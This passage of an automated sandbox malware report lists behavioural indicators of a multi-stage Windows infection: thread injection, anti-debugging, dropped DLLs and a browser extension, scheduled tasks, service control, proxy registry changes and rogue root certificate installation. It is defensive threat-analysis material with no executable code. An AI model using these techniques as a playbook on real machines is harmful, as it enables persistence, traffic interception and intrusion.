File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	rundll32.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	VMJlLvi.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F2DDCD2B5F37625B82E81F4976CEE400_9FBE97E00625C0963C1CF751F29CF9B3	HPDLnnv.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	VMJlLvi.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\A16C6C16D94F76E0808C087DFC657D99_65F72881313B5F8FFC737C28E760643D	HPDLnnv.exe
File created	C:\Windows\system32\GroupPolicy\gpt.ini	VMJlLvi.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\A16C6C16D94F76E0808C087DFC657D99_4780F988327458A7DCEC4A36CEB1E168	HPDLnnv.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	HPDLnnv.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	HPDLnnv.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	VMJlLvi.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	HPDLnnv.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\A16C6C16D94F76E0808C087DFC657D99_65F72881313B5F8FFC737C28E760643D	HPDLnnv.exe
File opened for modification	C:\Windows\system32\MRT.exe	FirstZ.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	HPDLnnv.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\A16C6C16D94F76E0808C087DFC657D99_4780F988327458A7DCEC4A36CEB1E168	HPDLnnv.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 8 IoCs

Processes:

15d62d0a547389642716e2c0dc6d5cc0a7088cb1fdc7a3efec4bb2e95d1f58fd.exeexplortu.exeexplortu.execa01aa0bc0.exeaxplong.exebfbff0d2bf.exe7ead6cc984.exeda_protected.exe

pid	process
2324	15d62d0a547389642716e2c0dc6d5cc0a7088cb1fdc7a3efec4bb2e95d1f58fd.exe
2676	explortu.exe
2780	explortu.exe
772	ca01aa0bc0.exe
588	axplong.exe
1556	bfbff0d2bf.exe
1520	7ead6cc984.exe
3396	da_protected.exe

Suspicious use of SetThreadContext 8 IoCs

Processes:

explortu.exedrivermanager.exereakuqnanrkn.exechromedriver.execjems.execjems.execjems.exe

description	pid	process	target process
PID 2676 set thread context of 2780	2676	explortu.exe	explortu.exe
PID 3976 set thread context of 3244	3976	drivermanager.exe	MSBuild.exe
PID 4592 set thread context of 4868	4592	reakuqnanrkn.exe	conhost.exe
PID 4592 set thread context of 4920	4592	reakuqnanrkn.exe	explorer.exe
PID 2708 set thread context of 1752	2708	chromedriver.exe	chromedriver.exe
PID 1784 set thread context of 2832	1784	cjems.exe	cjems.exe
PID 4504 set thread context of 384	4504	cjems.exe	cjems.exe
PID 4128 set thread context of 4812	4128	cjems.exe	cjems.exe

Drops file in Program Files directory 35 IoCs

Processes:

HPDLnnv.exeGxQnstS.exeOLECFOb.exe

description	ioc	process
File created	C:\Program Files (x86)\XPXpeEiKDyUn\UUjVSkL.dll	HPDLnnv.exe
File created	C:\Program Files (x86)\dEiqbvzNTqQVhmXUeQR\ttEwWJo.dll	GxQnstS.exe
File created	C:\Program Files (x86)\dEiqbvzNTqQVhmXUeQR\MEaflzK.xml	GxQnstS.exe
File created	C:\Program Files (x86)\QVWjqfQytQiLC\dNASnuh.dll	GxQnstS.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	HPDLnnv.exe
File created	C:\Program Files (x86)\dSFCGoajU\ezGiUD.dll	OLECFOb.exe
File created	C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi	GxQnstS.exe
File created	C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi	OLECFOb.exe
File created	C:\Program Files (x86)\QVWjqfQytQiLC\NeTkkwk.xml	OLECFOb.exe
File created	C:\Program Files (x86)\XPXpeEiKDyUn\FvNawqG.dll	OLECFOb.exe
File created	C:\Program Files (x86)\dSFCGoajU\UsTZZR.dll	HPDLnnv.exe
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	HPDLnnv.exe
File created	C:\Program Files (x86)\yPeEHKRKYSIU2\jrNDRpg.xml	HPDLnnv.exe
File created	C:\Program Files (x86)\dEiqbvzNTqQVhmXUeQR\gIRaEqH.xml	HPDLnnv.exe
File created	C:\Program Files (x86)\XPXpeEiKDyUn\UxoAYvI.dll	GxQnstS.exe
File created	C:\Program Files (x86)\QVWjqfQytQiLC\ijpVCDu.dll	OLECFOb.exe
File created	C:\Program Files (x86)\dSFCGoajU\FHIXXsP.xml	HPDLnnv.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi	GxQnstS.exe
File created	C:\Program Files (x86)\dSFCGoajU\SnXwqRu.xml	GxQnstS.exe
File created	C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi	HPDLnnv.exe
File created	C:\Program Files (x86)\yPeEHKRKYSIU2\JUnsXTkZVZHRd.dll	HPDLnnv.exe
File created	C:\Program Files (x86)\dSFCGoajU\HMYzIR.dll	GxQnstS.exe
File created	C:\Program Files (x86)\yPeEHKRKYSIU2\XHTMiYezFIcRK.dll	GxQnstS.exe
File created	C:\Program Files (x86)\dEiqbvzNTqQVhmXUeQR\FahxMAn.dll	OLECFOb.exe
File created	C:\Program Files (x86)\dEiqbvzNTqQVhmXUeQR\ictDprq.xml	OLECFOb.exe
File created	C:\Program Files (x86)\QVWjqfQytQiLC\UfDZnSN.dll	HPDLnnv.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi	OLECFOb.exe
File created	C:\Program Files (x86)\dSFCGoajU\AUxStJX.xml	OLECFOb.exe
File created	C:\Program Files (x86)\QVWjqfQytQiLC\qMHQwom.xml	GxQnstS.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi	HPDLnnv.exe
File created	C:\Program Files (x86)\dEiqbvzNTqQVhmXUeQR\NKiUOTo.dll	HPDLnnv.exe
File created	C:\Program Files (x86)\yPeEHKRKYSIU2\FmBkNoc.xml	OLECFOb.exe
File created	C:\Program Files (x86)\QVWjqfQytQiLC\PIPpipX.xml	HPDLnnv.exe
File created	C:\Program Files (x86)\yPeEHKRKYSIU2\CZtbyko.xml	GxQnstS.exe
File created	C:\Program Files (x86)\yPeEHKRKYSIU2\JeOzQGmiHUwDj.dll	OLECFOb.exe

Drops file in Windows directory 15 IoCs

Processes:

ca01aa0bc0.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe15d62d0a547389642716e2c0dc6d5cc0a7088cb1fdc7a3efec4bb2e95d1f58fd.exeschtasks.exewusa.exeNewLatest.exechromedriver.exeschtasks.exewusa.exeschtasks.exeschtasks.exe

description	ioc	process
File created	C:\Windows\Tasks\axplong.job	ca01aa0bc0.exe
File created	C:\Windows\Tasks\bRfJDuKmNsszhfPRJj.job	schtasks.exe
File opened for modification	C:\Windows\Tasks\IKgJWbxobPFnKRD.job	schtasks.exe
File created	C:\Windows\Tasks\IKgJWbxobPFnKRD.job	schtasks.exe
File opened for modification	C:\Windows\Tasks\ZeWKVsXrVUhETallN.job	schtasks.exe
File created	C:\Windows\Tasks\IKgJWbxobPFnKRD.job	schtasks.exe
File created	C:\Windows\Tasks\explortu.job	15d62d0a547389642716e2c0dc6d5cc0a7088cb1fdc7a3efec4bb2e95d1f58fd.exe
File opened for modification	C:\Windows\Tasks\bRfJDuKmNsszhfPRJj.job	schtasks.exe
File created	C:\Windows\wusa.lock	wusa.exe
File created	C:\Windows\Tasks\Hkbsse.job	NewLatest.exe
File created	C:\Windows\Tasks\Test Task17.job	chromedriver.exe
File created	C:\Windows\Tasks\ZeWKVsXrVUhETallN.job	schtasks.exe
File created	C:\Windows\wusa.lock	wusa.exe
File created	C:\Windows\Tasks\ZeWKVsXrVUhETallN.job	schtasks.exe
File created	C:\Windows\Tasks\igQCsPejxzPEidhrw.job	schtasks.exe

Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

4368 sc.exe
4548 sc.exe
4556 sc.exe
4228 sc.exe
4520 sc.exe
4264 sc.exe
4296 sc.exe
4432 sc.exe
4812 sc.exe
4320 sc.exe
4672 sc.exe
4716 sc.exe
4760 sc.exe
4788 sc.exe
Detects Pyinstaller 1 IoCs
pyinstaller

Processes:

resource yara_rule

C:\Users\Admin\AppData\Local\Temp\1000088001\spain.exe pyinstaller
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

pid	process
4368	sc.exe
4548	sc.exe
4556	sc.exe
4228	sc.exe
4520	sc.exe
4264	sc.exe
4296	sc.exe
4432	sc.exe
4812	sc.exe
4320	sc.exe
4672	sc.exe
4716	sc.exe
4760	sc.exe
4788	sc.exe

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\1000088001\spain.exe	pyinstaller

Program crash 11 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
3100	540	WerFault.exe	upd.exe
3572	3532	WerFault.exe	gold.exe
4000	3936	WerFault.exe	legs.exe
2944	2836	WerFault.exe	VMJlLvi.exe
1840	1312	WerFault.exe	Install.exe
3920	684	WerFault.exe	Install.exe
576	4308	WerFault.exe	HPDLnnv.exe
3212	4508	WerFault.exe	VMJlLvi.exe
4620	3492	WerFault.exe	VMJlLvi.exe
3584	4228	WerFault.exe	GxQnstS.exe
2452	2936	WerFault.exe	OLECFOb.exe

Enumerates system info in registry 2 TTPs 9 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

Install.exechrome.exeInstall.exerundll32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	rundll32.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

HPDLnnv.exeOLECFOb.exewscript.exepowershell.exeGxQnstS.exepowershell.exeexplorer.exepowershell.exerundll32.exeVMJlLvi.exeVMJlLvi.exe

description	ioc	process
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{422179D4-9369-4581-AC8F-0C0DC1EBBFEB}\WpadDecisionTime = 408b3fb662c3da01	HPDLnnv.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs	HPDLnnv.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\c6-a0-1b-12-5d-0f	OLECFOb.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{422179D4-9369-4581-AC8F-0C0DC1EBBFEB}\WpadDecisionTime = e08d13d662c3da01	OLECFOb.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates	HPDLnnv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	OLECFOb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	OLECFOb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\c6-a0-1b-12-5d-0f\WpadDecision = "0"	HPDLnnv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings	OLECFOb.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs	OLECFOb.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates	OLECFOb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host\Settings	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	HPDLnnv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	HPDLnnv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	OLECFOb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	GxQnstS.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	OLECFOb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{422179D4-9369-4581-AC8F-0C0DC1EBBFEB}\WpadDecision = "0"	OLECFOb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	GxQnstS.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 40e4c06362c3da01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates	explorer.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	HPDLnnv.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates	HPDLnnv.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{422179D4-9369-4581-AC8F-0C0DC1EBBFEB}\WpadNetworkName = "Network 3"	GxQnstS.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	HPDLnnv.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	GxQnstS.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs	OLECFOb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	OLECFOb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	OLECFOb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	HPDLnnv.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	HPDLnnv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	OLECFOb.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\c6-a0-1b-12-5d-0f\WpadDecisionTime = 408b3fb662c3da01	GxQnstS.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	HPDLnnv.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000005000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f00f7000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	OLECFOb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	OLECFOb.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	HPDLnnv.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	HPDLnnv.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates	HPDLnnv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	OLECFOb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	HPDLnnv.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\c6-a0-1b-12-5d-0f\WpadDecisionReason = "1"	OLECFOb.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates	OLECFOb.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{422179D4-9369-4581-AC8F-0C0DC1EBBFEB}	HPDLnnv.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{422179D4-9369-4581-AC8F-0C0DC1EBBFEB}\WpadDecisionReason = "1"	HPDLnnv.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\c6-a0-1b-12-5d-0f\WpadDecisionTime = 408b3fb662c3da01	HPDLnnv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My	HPDLnnv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	rundll32.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	GxQnstS.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	OLECFOb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	VMJlLvi.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates	HPDLnnv.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\ROOT\CRLs	HPDLnnv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	VMJlLvi.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\c6-a0-1b-12-5d-0f	HPDLnnv.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs	OLECFOb.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\c6-a0-1b-12-5d-0f	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\ROOT\CTLs	OLECFOb.exe

Modifies system certificate store 2 TTPs 6 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

Processes:

Hkbsse.exeroxonk.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	Hkbsse.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	Hkbsse.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	roxonk.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 